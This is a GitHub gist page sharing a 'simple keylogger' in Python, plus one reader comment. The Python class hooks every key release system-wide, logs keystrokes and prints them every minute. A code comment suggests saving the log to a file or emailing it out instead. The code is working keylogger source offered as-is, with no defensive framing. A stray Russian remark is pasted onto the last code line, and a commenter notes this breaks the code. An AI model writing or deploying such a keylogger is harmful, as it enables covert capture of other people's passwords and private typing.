Skip to content

Instantly share code, notes, and snippets.

@Priler
Created August 8, 2021 09:21
Show Gist options
  • Save Priler/f2ea4ba1b70845e2f7e1dce1b9a7ece7 to your computer and use it in GitHub Desktop.
Save Priler/f2ea4ba1b70845e2f7e1dce1b9a7ece7 to your computer and use it in GitHub Desktop.
Python simple keylogger
import keyboard
from threading import Timer
from datetime import datetime
class Keylogger:
start_dt = ""
end_dt = ""
log = ""
interval = 60 # report every minute
def __init__(self):
pass
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = "[SPACE]" # _ instead of " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def report(self):
# just print the logs (otherwise you can save it to file, i.e. or send it to email)
print(self.log)
self.log = ""
# set timer
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()
def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()
if __name__ == "__main__":
keylogger = Keylogger()
keylogger.start()Кейлоггер сохраняет все что я печатаю :D
@vsecoder-old-account
Copy link

if __name__ == "__main__": keylogger = Keylogger() keylogger.start()Кейлоггер сохраняет все что я печатаю :D

Почему текст просто не закомментить? Как пример:

if __name__ == "__main__": keylogger = Keylogger() keylogger.start() #Кейлоггер сохраняет все что я печатаю :D

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment